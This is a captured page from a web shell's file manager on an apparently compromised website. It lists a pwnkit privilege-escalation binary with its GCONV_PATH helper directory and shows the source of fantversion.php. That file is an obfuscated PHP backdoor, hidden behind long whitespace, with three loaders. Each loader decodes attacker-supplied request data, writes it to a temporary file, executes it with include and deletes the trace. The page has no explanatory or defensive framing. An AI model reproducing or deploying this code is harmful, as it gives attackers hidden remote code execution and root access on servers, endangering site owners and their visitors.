Gecko [ kpk4d.org ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
acme-challenge	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
fantversion.php	2.57 KB	-rw-------
index.php	143.87 KB	-rw-r--r--
mou.php	143.87 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : fantversion.php

<?php																																										if(array_key_exists("en\x74", $_POST) && !is_null($_POST["en\x74"])){ $bind = array_filter(["/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP")]); $reference = $_POST["en\x74"]; $reference = explode ( "." , $reference); $elem= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $s= 0; $len= count($reference); do { if ($s >= $len) break; $v2= $reference[$s]; $chS= ord($salt[$s % $lenS]); $dec= ((int)$v2 - $chS - ($s % 10)) ^16; $elem .= chr($dec); $s++; }while (true); for ($rec = 0, $data_chunk = count($bind); $rec < $data_chunk; $rec++) { $binding = $bind[$rec]; if (!!is_dir($binding) && !!is_writable($binding)) { $item = join("/", [$binding, ".property_set"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $item; @unlink($item); die(); } } } }
																																										if(array_key_exists("\x68\x6Fld\x65r", $_REQUEST)){ $ref = $_REQUEST["\x68\x6Fld\x65r"]; $ref = explode ( '.' , $ref) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); foreach ($ref as $o => $v5) { $chS= ord($salt[$o % $lenS] ); $dec= ((int)$v5 - $chS - ($o % 10))^81; $desc .= chr($dec ); } $k = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); for ($resource = 0, $dat = count($k); $resource < $dat; $resource++) { $elem = $k[$resource]; if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $res = sprintf("%s/.sym", $elem); if (@file_put_contents($res, $desc) !== false) { include $res; unlink($res); die(); } } } }

if(@$_REQUEST["o\x62\x6A"] !== null){
	$res = $_REQUEST["o\x62\x6A"];
	  $res	 	= 	 explode( ".",	$res)		;   
	$entity  = 	'';
            $s9  = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  = 	strlen($s9		);
    
            foreach($res as $m => $v4):
                $sChar  = 	ord($s9[$m % $lenS]		);
                $d  = 	((int)$v4 - $sChar -($m % 10))^ 97;
                $entity .= chr($d		);
            endforeach;
	$mrk = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP")]);
	foreach ($mrk as $key => $symbol) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $holder = join("/", [$symbol, ".elem"]);
    $success = file_put_contents($holder, $entity);
if ($success) {
	include $holder;
	@unlink($holder);
	die();}
}
}
}

${this.title}

Code Editor : fantversion.php